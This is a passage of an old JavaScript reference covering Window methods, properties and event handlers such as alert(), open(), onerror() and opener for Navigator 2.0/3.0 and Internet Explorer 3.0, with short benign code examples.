Navigator 2.0, Internet Explorer 3.0

Synopsis

window.alert(message)

Arguments

message

The plain text (not HTML) string to display in a dialog box popped up over window.

Returns

nothing.

Description

The alert() method displays the specified message to the user in a dialog box. The dialog box contains an OK button that the user can click to dismiss the dialog box.

The dialog box that is displayed is non-modal. That is, the user can continue to interact with the browser window while the dialog is displayed. JavaScript execution continues while the dialog is displayed; it does not pause until the user dismisses the dialog.

Usage

Perhaps the most common use of the alert() method is to display error messages when the user's input to some form element is invalid in some way. The alert dialog can inform the user of the problem and explain what needs to be corrected to avoid the problem in the future. The appearance of the alert() dialog box is platform-dependent, but generally it contains graphics that indicate that the message indicates an error, a warning, or an alert of some kind. While alert() can display any desired message, the "alert" graphics of the dialog mean that this method is not appropriate for simple informational messages like "Welcome to my home page" or "You are the 177th visitor this week!"

Note that the message displayed in the dialog is a string of plain text, not formatted HTML. You can use the newline character, \n, in your strings to break your message across multiple lines. You can also do some very rudimentary formatting using spaces and can approximate horizontal rules with underscore characters, but the results you achieve will depend greatly on the font used in the dialog, and will thus be system dependent.

In Netscape Navigator, the message displayed is prefaced with "JavaScript Alert:". The alert box in Microsoft Internet Explorer does not display any similar indication that the message comes from a JavaScript program; this has been raised as a possible security concern.

See Also

"Window", "Window.confirm()", "Window.prompt()"

Previous | Home | Next
Window | Book Index | Window.blur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Checkbox.value

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Checkbox.value Property

Name

Checkbox.value Property---value returned when form is submitted

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

checkbox.value

Description

value is a read/write string property of the Checkbox object. It specifies the text that is passed to the web server if the Checkbox is checked when the form is submitted. The initial value of value is specified by the VALUE attribute of the Checkbox's HTML <INPUT> tag. If no VALUE attribute is specified, then the default value string is "on".

Usage

Note that the value field does not specify whether or not the Checkbox is selected; the checked property specifies the current state of the Checkbox.

When defining a group of related checkboxes that share the same name, it is important that each be given a distinct value attribute.

See Also

"Checkbox"

Previous | Home | Next
Checkbox.type | Book Index | clearTimeout()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.blur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.blur() Method

Name

Window.blur() Method---remove keyboard focus from a top-level window

Availability

Navigator 3.0

Synopsis

window.blur()

Arguments

None.

Returns

Nothing.

Description

The blur() method removes keyboard focus from the top-level browser window specified by the Window object. If the Window object is a frame, then keyboard focus is given to the top-level window that contains that frame. On most platforms, a top-level window will be sent to the background, to the bottom of the window stack, when it has focus taken from it.

See Also

"Window", "Window.focus()"

Previous | Home | Next
Window.alert() | Book Index | Window.clearTimeout()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.clearTimeout()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.clearTimeout() Method

Name

Window.clearTimeout() Method---cancel deferred execution

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

window.clearTimeout(timeoutId)

Arguments

timeoutId

A value returned by setTimeout() that identifies the timeout to be cancelled.

Returns

Nothing.

Description

The clearTimeout() method cancels the execution of code that has been deferred with the setTimeout() method. The timeoutId argument is a value returned by the call to setTimeout() and identifies which (of possibly more than one) block of deferred code to cancel.

See Also

"Window", "Window.setTimeout()"

Previous | Home | Next
Window.blur() | Book Index | Window.close()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.close()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.close() Method

Name

Window.close() Method---close a browser window

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

window.close()

Arguments

None.

Returns

Nothing.

Description

The close() method closes the top-level browser window specified by window. A window can close itself by calling self.close() or simply close(). In Navigator, if window is the only open window, then close() closes it and Navigator exits.

In Navigator 3.0, only windows that are opened by JavaScript can be closed by JavaScript. This prevents malicious scripts from causing the user's browser to exit.

In Navigator 2.0 and 3.0, there is no meaningful way to close a frame within a window. Thus, the close() method should only be invoked for Window objects that represent top-level browser windows, not those that represent frames.

See Also

"Window", "Window.open()"

Previous | Home | Next
Window.clearTimeout() | Book Index | Window.closed
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.closed

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.closed Property

Name

Window.closed Property---specifies whether a window has been closed

Availability

Navigator 3.0

Synopsis

window.closed

Description

The closed property of the Window object is a read-only Boolean value that specifies whether the window has been closed. When a browser window closes, the Window object that represents it does not simply disappear. The Window object continues to exist, but its closed property is set to true.

Usage

Once a window has been closed, you should not attempt to use or manipulate it in any way. If your code needs to use a window that may be closed without your program's knowledge, then you should be sure to always test the closed property before using the Window object.

See Also

"Window", "Window.close()"

Previous | Home | Next
Window.close() | Book Index | Window.confirm()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.confirm()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.confirm() Method

Name

Window.confirm() Method---ask a yes-or-no question

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

window.confirm(question)

Arguments

question

The plain text (not HTML) string to be displayed in the dialog. It should generally express a question you want the user to answer.

Returns

true if the user clicks the OK button, or false if the user clicks the Cancel button.

Description

The confirm() method displays the specified question in a dialog box that pops up over window. The appearance of the dialog is platform-dependent, but it generally contains graphics that indicate that the user is being asked a question. The dialog contains OK and Cancel buttons that the user can use to answer the question. If the user clicks the OK button, then confirm() returns true. If the user clicks Cancel, then confirm() returns false.

The dialog box that is displayed by the confirm() method is modal--that is, it blocks all user input to the main browser window until the user dismisses the dialog by clicking on the OK or Cancel buttons. Since this method returns a value depending on the user's response to the dialog, JavaScript execution pauses in the call to confirm() and subsequent statements are not executed until the user responds to the dialog.

Usage

Note that the question displayed in the dialog is a string of plain text, not formatted HTML. You can use the newline character, \n, in your strings to break your question across multiple lines. You can also do some very rudimentary formatting using spaces and can approximate horizontal rules with underscore characters, but the results you achieve will depend greatly on the font used in the dialog, and will thus be system dependent.

Also, there is no way to change the labels that appear in the buttons of the dialog box (to make them read "Yes" and "No", for example). Therefore, you should take care to phrase your question or message in such a way that "OK" and "Cancel" are suitable responses.

See Also

"Window", "Window.alert()", "Window.prompt()"

Previous | Home | Next
Window.closed | Book Index | Window.defaultStatus
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.defaultStatus

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.defaultStatus Property

Name

Window.defaultStatus Property---the default status line text

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

window.defaultStatus

Description

defaultStatus is a read/write string property that specifies default text to appear in the window's status line. In Navigator, the status line is used to display the browser's progress while loading a file, and to display the destination of hypertext links that the mouse is over. While it is not displaying any of these transient messages, the status line is, by default, blank. However, you can set the defaultStatus property to specify a default message to be displayed when the status line is not otherwise in use, and you can read the defaultStatus property to determine what the default message is. The text you specify may be temporarily overwritten with other messages, such as those that are displayed when the user moves the mouse over a hypertext link, but the defaultStatus message will always be redisplayed when the transient message is erased.

If you set defaultStatus for a Window object that is a frame, the message you specify will be visible whenever the mouse is within that frame (whether or not that frame has focus). When you specify defaultStatus for a top-level window that contains no frames, your message is always visible when the window is visible. If you specify defaultStatus for a top-level window that contains frames, your message is only visible when the mouse is over the borders that separate the frames. Thus, in order to guarantee visibility of a message in a framed document, you should set defaultStatus for all frames in the document.

Usage

defaultStatus is used to display semi-permanent messages in the status line. To display transient messages, use the status property.

The defaultStatus property remains set when the browser moves from one page to another. If you set this property, you should be sure to reset it to the empty string ("") to restore the status line to its default blank state when the message is no longer applicable. A good way to do this is with the onUnload() event handler. Note that not all sites will be this considerate, so it is also a good idea to protect your web pages from other sites' default status messages by setting or resetting the defaultStatus property when your page is first loaded.

See Also

"Window", "Window.status"

Previous | Home | Next
Window.confirm() | Book Index | Window.document
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.document

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.document Property

Name

Window.document Property---the Document of the Window

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

window.document

Description

The document property contains a read-only reference to the Document object that describes the document contained in window, which can be any top-level window or frame. See the Document object for further details.

See Also

"Document", "Frame", "Window"

Previous | Home | Next
Window.defaultStatus | Book Index | Window.focus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.focus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.focus() Method

Name

Window.focus() Method---give keyboard focus to a top-level window

Availability

Navigator 3.0

Synopsis

window.focus()

Arguments

None.

Returns

Nothing.

Description

The focus() method gives keyboard focus to the top-level browser window specified by the Window object. If the Window object is a frame, then keyboard focus is given to the top-level window that contains that frame. On most platforms, a top-level window will be brought forward, to the top of the window stack, when it is given focus.

See Also

"Window", "Window.blur()"

Previous | Home | Next
Window.document | Book Index | Window.frames[]
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.frames[]

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.frames[] Property

Name

Window.frames[] Property---list of frames within a window

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

window.frames[i]
window.frames.length

Description

The frames property is an array of references to Window objects, one for each frame contained within the specified window. The frames.length property contains the number of elements in the frames[] array, as does the window.length property. Note that frames referenced by the frames[] array may themselves contain frames and may have a frames[] array of their own.

See Also

"Frame", "Window"

Previous | Home | Next
Window.focus() | Book Index | Window.history
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.history

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.history Property

Name

Window.history Property---the History of the Window

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

window.history

Description

The history property contains a read-only reference to the History object of window, which may be any top-level window or frame. See the History object for further details.

See Also

"History", "Window"

Previous | Home | Next
Window.frames[] | Book Index | Window.java
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: clearTimeout()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

clearTimeout() Method

Name

clearTimeout() Method---see "Window.clearTimeout()"

Previous | Home | Next
Checkbox.value | Book Index | close()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.java

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.java Property

Name

Window.java Property---see "java"

Previous | Home | Next
Window.history | Book Index | Window.length
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.length

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.length Property

Name

Window.length Property---number of frames in the window

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

window.length

Description

The length property specifies the number of frames contained in window, which may be any top-level window or frame. length also specifies the number of elements in the window.frames[] array.

See Also

"Frame", "Window", "Window.frames[]"

Previous | Home | Next
Window.java | Book Index | Window.location
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.location

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.location Property

Name

Window.location Property---the URL of the window

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

window.location

Description

The location property contains a read-only reference to the Location object of window, which may be any top-level window or frame. See the Location object for further details. Note that while the location property itself is read-only, the properties of the Location object to which it refers are read/write, and can be used to make the browser go to any specified web address.

See Also

"Location", "Window"

Previous | Home | Next
Window.length | Book Index | Window.Math
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.Math

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.Math Property

Name

Window.Math Property---see "Math"

Previous | Home | Next
Window.location | Book Index | Window.name
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.name

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.name Property

Name

Window.name Property---the name of a window

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0.

Synopsis

window.name

Description

The name property is a string that specifies the name of window, which may be any top-level window or frame. This property is read-only in Navigator 2.0 and Internet Explorer 3.0, and is read/write in Navigator 3.0. The name of a top-level window is initially specified by the name argument of the Window.open() method. The name of a frame is initially specified by the NAME attribute of the <FRAME> HTML tag.

The name of a top-level window or frame may be used as the value of a TARGET attribute of an <A> or <FORM> tag. Using the TARGET attribute in this way specifies that the hyperlinked document or the results of form submission should be displayed in the named window.

The initial window opened by Navigator, and any windows opened with the New Web Browser menu item initially have no name (i.e., name ==""), and so these windows cannot be addressed with a TARGET attribute from a separate top-level window. In Navigator 3.0, you can set the name attribute to remedy this situation.

See Also

"Form", "Frame", "Link", "Window"

Previous | Home | Next
Window.Math | Book Index | Window.navigate()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.navigate()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.navigate() Method

Name

Window.navigate() Method---load a new URL

Availability

Internet Explorer 3.0

Synopsis

window.navigate(url)

Arguments

url

A string that specifies the URL to be loaded and displayed.

Returns

nothing

Description

The Window.navigate() method of Internet Explorer loads ("navigates to") the specified url into the specified window.

This method is an incompatible extension to JavaScript--it is not supported by Navigator 2.0 or 3.0--and is therefore best avoided. The same purpose can be accomplished both in Navigator and Internet Explorer by simply assigning the desired url to the location property of the desired window.

See Also

"Location", "Window.location"

Previous | Home | Next
Window.name | Book Index | Window.navigator
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.navigator

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.navigator Property

Name

Window.navigator Property---see "navigator" and "Navigator"

Previous | Home | Next
Window.navigate() | Book Index | Window.netscape
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.netscape

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.netscape Property

Name

Window.netscape Property---see "netscape"

Previous | Home | Next
Window.navigator | Book Index | Window.onblur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.onblur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.onblur() Handler

Name

Window.onblur() Handler---invoked when window loses focus

Availability

Navigator 3.0

Synopsis

<BODY    a definition of the handler
    [ onBlur="JavaScript statements" ]
        ...
>
<FRAMESET    another way to define the handler
    [ onBlur="JavaScript statements" ]
       ...
>
window.onblur=handler-func  defining the handler directly
window.onblur();  an explicit invocation of the handler

Description

onblur() is an event handler invoked by the browser when a top-level browser window loses the input focus, either because the user has switched to some other window, or because focus was explicitly transferred to another browser window with the Window blur() or focus() methods.

The onblur() event handler can be defined in HTML by specifying the onBlur attribute of the <BODY> or <FRAMESET> tag of the document or frameset that occupies the top-level window. The value of this attribute may be any number of JavaScript statements, separated by semicolons. This event handler may also be defined by assigning a function to the onblur property of the Window object.

Usage

If your web page does some sort of animation, you might use the onblur() event handler to stop the animation when the window doesn't have the input focus, on the theory that if the window doesn't have the focus, then the user probably can't see it or isn't paying attention to it.

See Also

"Window",
"Window.blur()",
"Window.focus()",
"Window.onfocus()"

Previous | Home | Next
Window.netscape | Book Index | Window.onerror()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.onerror()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.onerror() Handler

Name

Window.onerror() Handler---invoked when a JavaScript error occurs

Availability

Navigator 3.0

Synopsis

You register an onerror() event handler like this:

window.onerror=handler-func

Navigator invokes the handler like this:

window.onerror(message, url, line)

Arguments

message

A string that specifies the error message for the error that occurred.

url

A string that specifies the URL of the document in which the error occurred.

line

A number that specifies the line number at which the error occurred.

Returns

true if the handler has handled the error and JavaScript should take no further action. false if JavaScript should post the default error message dialog box for this error.

Description

The onerror() event handler of the Window object is invoked when a JavaScript error occurs in code executing in that window. The default error handler installed by JavaScript displays an error dialog box. You can customize error handling by providing your own onerror() event handler.

You define an onerror() event handler for a window by setting the onerror property of a Window object to an appropriate function. Note that unlike other event handlers in JavaScript, the onerror() handler cannot be defined in an HTML tag.

When the onerror() handler is invoked, it is passed three arguments. The first is a string specifying the error message. The second is a string specifying the URL of the document in which the error occurred. And the third is a number that specifies the line number at which the error occurred. An error handling function may do anything it wants with these arguments: it may display its own error dialog, or may log the error in some way, for example. When the error handling function is done, it should return true if it has completely handled the error and wants JavaScript to take no further action. Or, it should return false if it has merely noted or logged the error in some fashion and still wants JavaScript to display the error message in its default dialog box.

Note that while this event handler returns true to tell the browser to take no further action, most Form and form element event handlers return false to prevent the browser from performing some action, such as submitting a form. This inconsistency can be confusing.

You can turn off error handling entirely for a window by setting the onerror property of the window to null. If you will later want to turn error handling back on, you should first save the default error handler in a temporary variable, so you can restore the onerror property to its default value.

Example

The following code shows how you might write and register an error handler for a window. Instead of reporting the error in a dialog box, this handler reports the details in a form that it creates directly in the document itself. The form contains a button that will send the details of the error off to the author of the web page.

<script>
function p(s) { document.writeln(s) }  // shorthand
// define the error handler. It generates an HTML form so
// the user can report the error to the author.
function report_error(msg, url, line)
{
   // Output a form that reports the error
   p('<P><HR SIZE=5><DIV align=center>');
   p('<H1>SORRY!  A JavaScript Error Has Occurred</H1>');
   p('<FORM ACTION="mailto:bugs@wahoo.com" METHOD=post
   p('      ENCTYPE="text/plain">');
   p('You can help the author debug this program by clicking here: ');
   p('<INPUT TYPE="submit" VALUE="Report Error">');
   p('</DIV><DIV align=right>');
   p('<BR>Your name (optional): <INPUT SIZE=60 NAME="name" VALUE="">');
   p('<BR>Message: <INPUT SIZE=60 NAME="message" VALUE="'
               + msg + '">');
   p('<BR>URL: <INPUT SIZE=60 NAME="url" VALUE="' + url + '">');
   p('<BR>Line Number: <INPUT SIZE=60 NAME="line" VALUE="'
               + line + '">');
   p('<BR>Browser Version: <INPUT SIZE=60 NAME="version"'
               + 'VALUE="' + navigator.userAgent + '">');
   p('</DIV>');
   p('</FORM>');
   p('<HR SIZE=5><P>');
   return true;    // tell the browser not to report the error itself
}
// now register the error handler
window.onerror = report_error;
</script>

See Also

"Window"

Previous | Home | Next
Window.onblur() | Book Index | Window.onfocus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: close()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

close() Method

Name

close() Method---see "Window.close()"

Previous | Home | Next
clearTimeout() | Book Index | closed
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.onfocus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.onfocus() Handler

Name

Window.onfocus() Handler---invoked when window is given focus

Availability

Navigator 3.0

Synopsis

<BODY    a definition of the handler
    [ onFocus="JavaScript statements" ]
        ...
>
<FRAMESET    another way to define the handler
    [ onFocus="JavaScript statements" ]
       ...
>
window.onfocus=handler-func defining the handler directly
window.onfocus(); an explicit invocation of the handler

Description

onfocus() is an event handler invoked by the browser when a top-level browser window is given the input focus, either because the user has switched to the browser window, or because focus was transferred to the window with the Window focus() or blur() methods.

The onfocus() event handler can be defined in HTML by specifying the onFocus attribute of the <BODY> or <FRAMESET> tag of the document or frameset that occupies the top-level window. The value of this attribute may be any number of JavaScript statements, separated by semicolons. This event handler may also be defined by assigning a function to the onfocus property of the Window object.

Usage

If your web page does some sort of animation, you might use the onfocus() event handler to start the animation and the onblur() handler to stop it, so that it only runs while the user is paying attention to the window.

See Also

"Window",
"Window.blur()",
"Window.focus()",
"Window.onblur()"

Previous | Home | Next
Window.onerror() | Book Index | Window.onload()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.onload()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.onload() Handler

Name

Window.onload() Handler---executed when a document finishes loading

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

<BODY    a definition of the handler
    [ onLoad="JavaScript statements" ]
        ...
>
<FRAMESET    another way to define the handler
    [ onLoad="JavaScript statements" ]
       ...
>
window.onload=handler-func  defining the handler directly
window.onload();  an explicit invocation of the handler

Description

onload() is an event handler invoked by the browser when a document or frameset is completely loaded into the browser. The onload() handler is defined by the onLoad attribute of the <BODY> or <FRAMESET> HTML tags. The value of this attribute may be any number of JavaScript statements, separated by semicolons.

When the onload() event handler is invoked, you can be certain that the document has fully loaded, and therefore that all scripts within the document have executed, all functions within scripts are defined, and all forms and other document elements have been parsed and are available through the Document object.

Usage

If any of your document's event handlers depend on the document being fully loaded, you should be sure to check that it is loaded before executing those handlers. If the network connection were to stall out after a button appeared in the document, but before the parts of the document that the button relied on were loaded, then when the user clicks the button they will get unintended behavior or an error message. One good way to verify that the document is loaded is to use the onload() handler to set a variable, loaded, for example, to true, and to check the value of this variable before doing anything that depends on the complete document being loaded.

Bugs

JavaScript is supposed to guarantee that the onload() handler for each frame in a window will be invoked before the onload() handler for the window itself. Unfortunately, Navigator 2.0 does not always do this. Thus in a framed document, you may need to check that each of your individual frames has fully loaded.

See Also

"Window", "Window.onunload()"

Previous | Home | Next
Window.onfocus() | Book Index | Window.onunload()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.onunload()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.onunload() Handler

Name

Window.onunload() Handler---executed when the browser leaves a page

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

<BODY    a definition of the handler
    [ onUnload="JavaScript statements" ]
        ...
>
<FRAMESET    another way to define the handler
    [ onUnload="JavaScript statements" ]
       ...
>
window.onunload=handler-func    defining the handler directly
window.onunload();    an explicit invocation of the handler

Description

onunload() is an event handler invoked by the browser when it unloads (i.e., leaves) a document or a frameset. The onunload() handler is defined by the onUnload attribute of the <BODY> or <FRAMESET> HTML tags. The value of this attribute may be any number of JavaScript statements, separated by semicolons.

The onunload() event handler provides the opportunity to perform any necessary "clean-up" of the browser state before a new document is loaded. For example, an onunload() handler might restore the Window.defaultStatus property (the default message in the status line) to the empty string.

When the browser leaves a site using frames, the onunload() handlers for each frame will be invoked before the onunload() handler of the browser itself.

Usage

The onunload() handler is invoked when the user has instructed the browser to leave the current page and move somewhere else. Therefore, it is almost never appropriate to delay the loading of the desired new page by popping up dialog boxes (with Window.confirm() or Window.prompt() for example) from an onunload() event handler.

See Also

"Window", "Window.onunload()"

Previous | Home | Next
Window.onload() | Book Index | Window.open()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.open()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.open() Method

Name

Window.open() Method---open a new browser window or locate a named window

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

window.open(url, name, [features, [replace]])

Arguments

url

A string that specifies the URL to be displayed in the new window, or the empty string for a blank window. This argument is optional in Navigator 2.0 and 3.0, but is required in Internet Explorer 3.0.

name

A string of alphanumeric and underscore characters that specifies a name for the new window. This name can be used as the value of the TARGET attribute of <A> and <FORM> HTML tags. If this argument names a window that already exists, then the open() method will not create a new window, but will simply return a reference to the named window. In this case, the features argument is ignored. This argument is optional in Navigator 2.0 and 3.0, but is required in Internet Explorer 3.0.

features

A string that specifies which features of a standard browser window are to appear in the new window. The format of this string is specified below. This argument is optional; if it is not specified, then the new window will have all standard features.

replace

An optional Boolean argument that specifies whether the url that is loaded into the new page should create a new entry in the window's browsing history or replace the current entry in the browsing history. If this argument is true then no new history entry will be created. This argument is not supported by Navigator 2.0 or Internet Explorer 3.0, although those browsers will ignore it if it is specified. Also, notice that it doesn't make much sense to use this argument for newly created windows; it is intended for use when changing the contents of an existing window.

Returns

A reference to a Window object, which may be newly created, or to an already existing one.

Description

The open() method looks up an already existing window or opens a new browser window. If the name argument specifies the name of an existing window, then a reference to that window is returned. The returned window will display the URL specified by url, but the features argument will be ignored. This is the only way in JavaScript to obtain a reference to a window which is known only by name.

If the name argument is not specified, or if no window with that name already exists, the the open() method creates a new browser window. The created window displays the URL specified by url, has the name specified by name, and has the size and controls specified by features (the format of this argument is described below). If url is the empty string, then open() opens a blank window.

The name argument specifies a name for the new window. This name may only contain alphanumeric characters and the underscore character. It may be used as the value of the TARGET attribute of an <A> or <FORM> tag in HTML, to force documents to be displayed in the window.

With Navigator 3.0, when you use Window.open() to load a new document into a named window, you can also use the replace argument to specify whether the new document will have its own entry in the window's browsing history, or whether it will replace the history entry of the current document. If replace is true, the new document will replace the old. If this argument is false is or not specified, then the new document will have its own entry in the Window's browsing history. This argument provides functionality much like that of the Location.replace() method.

The features argument is a comma-separated list of features to appear in the window. If this optional argument is empty or not specified at all, then all features will be present in the window. On the other hand, if features specifies any one feature, then any features that do not appear in the list will not appear in the window. The string should not contain any spaces or other whitespace. Each element in the list has the format:

feature[=value]

For most features, the value is yes or no. For these features, the equals sign and the value may be omitted--if the feature appears, yes is assumed, and if it doesn't no is assumed. For the width and height features, the value is required and must specify a size in pixels.

The available features and their meanings are listed below. Note, however, that on X11 platforms in Navigator 2.0, only the width and height features work, and new browser windows are not created with any of the standard controls, even when the features argument is omitted entirely.

toolbar

The browser toolbar, with Back and Forward buttons, etc.

location

The input field for entering URLs directly into the browser.

directories

Directory buttons, such as "What's New" and "What's Cool" in Netscape.

status

The status line.

menubar

The menu bar.

scrollbars

This feature enables horizontal and vertical scrollbars when they are necessary.

resizable

If this feature is not present or is set to no, then the window will not have resize handles around its border. (Depending on the platform, the user may still have ways to resize the window.) Note that a common bug is to misspell this feature as "resizeable", with an extra "e".

width

This feature must be followed by a value that specifies the width of the window in pixels.

height

This feature must be followed by a value that specifies the height of the window in pixels.

Don't confuse this Window.open() method with the document.open() method; the two perform very different functions. For clarity in your code, you may want to use window.open() instead of open(). (Recall that the window property is simply a way to explicitly refer to the current window.)

Bugs

In Navigator 2.0, on X11 and Macintosh platforms, the url argument is ineffective. The solution is to call open() once to create the window, and then call it again to set the URL, or better, to use location property of the new (blank) window to load the desired URL.

On X11 platforms in Navigator 2.0, only the width and height features work, and new browser windows are not created with any of the standard controls, even when the features argument is omitted entirely.

See Also

"Location.replace()", "Window", "Window.close()"

Previous | Home | Next
Window.onunload() | Book Index | Window.opener
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.opener

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.opener Property

Name

Window.opener Property---the window that opened this one

Availability

Navigator 3.0; read-only in Internet Explorer 3.0

Synopsis

window.opener

Description

The opener property is a read/write (read-only in Internet Explorer 3.0) reference to the Window object that contained the document that called open() to open this top-level browser window. This property is only valid for Window objects that represent top-level windows; not those that represent frames.

The opener property is useful so that a newly created window can refer to variables and functions defined in the window that created it.

Usage

The opener property does not exist in Navigator 2.0. You can use the following code for backward compatibility:

var newwin = open();
if (newwin != null && newwin.opener == null)
    newwin.opener = self;

See Also

"Window", "Window.open()"

Previous | Home | Next
Window.open() | Book Index | Window.Packages
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.Packages

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.Packages Property

Name

Window.Packages Property---see "Packages"

Previous | Home | Next
Window.opener | Book Index | Window.parent
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Window.parent

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Window.parent Property

Name

Window.parent Property---the parent of a frame

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

window.parent

Description

The parent property is a read-only reference to the Window object that contains window. If window specifies a top-level window, then parent refers to the window itself. If window is a frame, then the parent property refers to the top-level window or frame that contains window.

Usage

The parent property is generally only useful for frames rather than for top-level windows. With a function like the following, you can use the property to determine whether a given Window object is a top-level window or a frame:

function is_toplevel(w) { return (w.parent == w); }

See Also

"Window", "Window.top"

Previous | Home | Next
Window.Packages | Book Index | Window.prompt()
